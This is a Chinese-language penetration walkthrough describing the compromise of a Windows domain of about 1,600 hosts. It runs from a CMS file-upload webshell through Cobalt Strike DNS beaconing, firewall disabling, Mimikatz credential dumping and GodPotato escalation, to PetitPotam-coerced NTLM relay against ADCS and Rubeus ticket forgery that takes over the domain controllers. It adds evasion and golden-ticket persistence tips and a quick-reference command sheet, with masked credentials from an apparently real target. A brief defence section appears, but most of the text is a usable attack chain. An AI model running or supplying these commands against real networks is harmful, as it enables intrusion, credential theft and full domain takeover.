1.6K主机全域沦陷实录:从单点突破到域控接管的终极横向渗透链
字数 1742 2025-09-01 11:26:17
1.6K主机全域沦陷渗透实战教学文档
一、WEB打点阶段
1. 漏洞发现与利用
- 目标系统:某CMS系统(具体版本未透露)
- 利用漏洞:文件上传漏洞
- 攻击步骤:
- 通过搜索发现该CMS存在文件上传漏洞
- 复制数据包进行测试,成功上传jsp文件
- 上传webshell并连接
- 确认权限:
whoami显示nt authority\system(最高权限)
2. 环境确认
- 中间件:Tomcat
- 网络环境:
ipconfig /all确认存在域环境 - 网络限制:
ping www.google.com确认机器不出网
二、域渗透阶段
1. 域环境确认
- 使用命令:
net time /domain net view
2. 不出网环境下的C2控制
方案一:DNS协议上线Cobalt Strike
-
基础设施准备:
- 购买VPS和域名
- 配置DNS记录:
- A记录指向VPS公网IP
- NS记录指向A记录域名(建议配置两个)
-
DNS配置验证:
ping A记录域名 nslookup A记录域名 -
CS监听器配置:
- 创建DNS协议监听器
- DNS Host配置为A记录地址
-
木马执行与维护:
- 必须执行以下命令:
checkin mode dns-txt - 生成Stageless payload(完整木马)
- 必须执行以下命令:
方案二:HTTP隧道(尝试未成功)
3. 信息收集与权限提升
-
杀软识别:
tasklist /svc- 识别到"哨兵一号"杀软和Windows Defender
-
远程桌面配置:
netstat -ano | findstr 3389 # 检查RDP状态 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 # 开启RDP netsh advfirewall set allprofiles state off # 关闭防火墙 -
横向移动准备:
- 通过HTTP隧道连接RDP
- 关闭Windows Defender
4. 域环境分析
- 使用工具:
- Fscan:扫描网段,识别主机和web服务
- 寻血猎犬(BloodHound):分析域内关系
- 发现:
- 1台主域控制器
- 12台辅助域控制器
- 11个域管理员账户
5. 凭据获取与横向移动
-
Mimikatz使用:
mimikatz.exe privilege::debug sekurlsa::logonpasswords- 获取到多个域用户凭据
-
路径分析:
- 通过BloodHound分析"来自自有主体的最短路径"
- 发现关键路径:
RAMAK*** → PHQ**/FIN** → 域控 BENSONP → WDL → PETRA*** → HERM*** → 域控
-
提权操作:
- 发现SeImpersonate特权:
whoami /priv - 使用GodPotato提权:
GodPotato.exe -cmd "cmd /c whoami"- 成功获取SYSTEM权限
- 发现SeImpersonate特权:
三、域控接管阶段
1. ADCS漏洞利用
-
漏洞发现:
- 访问
http://10.*.*.67/certfnsh/certfnsh.asp返回"Unauthorized"及NTLM代码
- 访问
-
攻击链:
PetitPotam强制认证 → NTLM中继 → ADCS证书申请 → Kerberos票据 → 域控伪装
2. 具体实施步骤
-
端口转发:
- 使用PortBender将内网445转发到6445:
PortBender.exe redirect 445 6445 - CS端口转发:
rportfwd_local 6445 <kali IP> 445
- 使用PortBender将内网445转发到6445:
-
NTLM中继:
proxychains -q python3 ntlmrelayx.py -t http://10.*.*.67/certfnsh/certfnsh.asp -smb2support --adcs --template 'domaincontroller' -
强制认证触发:
proxychains -q python3 PetitPotam.py -d Pe*oup.local -u Petra**Repl -p 2hH***74 10.*.*.43 192.*.*.2 -
票据获取与使用:
- 使用Rubeus导入票据:
Rubeus.exe asktgt /user:域控hostname$ /certificate:base64证书 /ptt - 使用Mimikatz导出域哈希
- 使用Rubeus导入票据:
3. 最终成果
- 成功控制整个域环境
- 获取约1.6K台主机权限
- 导出2000+用户哈希
四、问题与解决方案
1. 遇到的主要问题
-
哈希使用问题:
- 导出的NTLM哈希无法直接用于PTH(需要LM哈希)
- 域管哈希制作的票据无法访问域控
-
免杀问题:
- "哨兵一号"杀软拦截
- 无法上传免杀工具
-
环境变化:
- 管理员频繁更改密码和账户
- 关键域管账户被删除
2. 解决方案建议
-
哈希利用:
- 尝试使用AES密钥而非NTLM哈希
- 使用Kerberos票据而非直接PTH
-
免杀技巧:
- 使用内存加载无文件攻击
- 定制化CS profile规避检测
-
持久化:
- 建立多个持久化通道
- 获取黄金票据实现长期控制
五、防御建议
-
ADCS防护:
- 禁用NTLM认证
- 配置EPA(Extended Protection for Authentication)
-
权限管理:
- 实施最小权限原则
- 定期审计域管权限
-
监控措施:
- 监控异常证书请求
- 设置BloodHound告警
-
补丁管理:
- 及时修复PetitPotam等漏洞
- 更新ADCS补丁
六、工具清单
| 工具名称 | 用途 |
|---|---|
| Cobalt Strike | C2控制 |
| Mimikatz | 凭据提取 |
| BloodHound | 域关系分析 |
| Fscan | 内网扫描 |
| GodPotato | 提权 |
| PortBender | 端口转发 |
| Impacket(ntlmrelayx) | NTLM中继 |
| PetitPotam | 强制认证触发 |
| Rubeus | Kerberos票据操作 |
七、关键命令速查
# 域环境检查
net time /domain
net view /domain
# 权限提升检查
whoami /priv
# RDP管理
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
# 防火墙管理
netsh advfirewall set allprofiles state off
# 端口转发
rportfwd_local [本地端口] [目标IP] [目标端口]
# NTLM中继
python3 ntlmrelayx.py -t http://target/certfnsh.asp --adcs --template 'domaincontroller'
# 强制认证
python3 PetitPotam.py -d 域名 -u 用户 -p 密码 目标IP 触发IP
# 票据操作
Rubeus.exe asktgt /user:主机名$ /certificate:base64 /ptt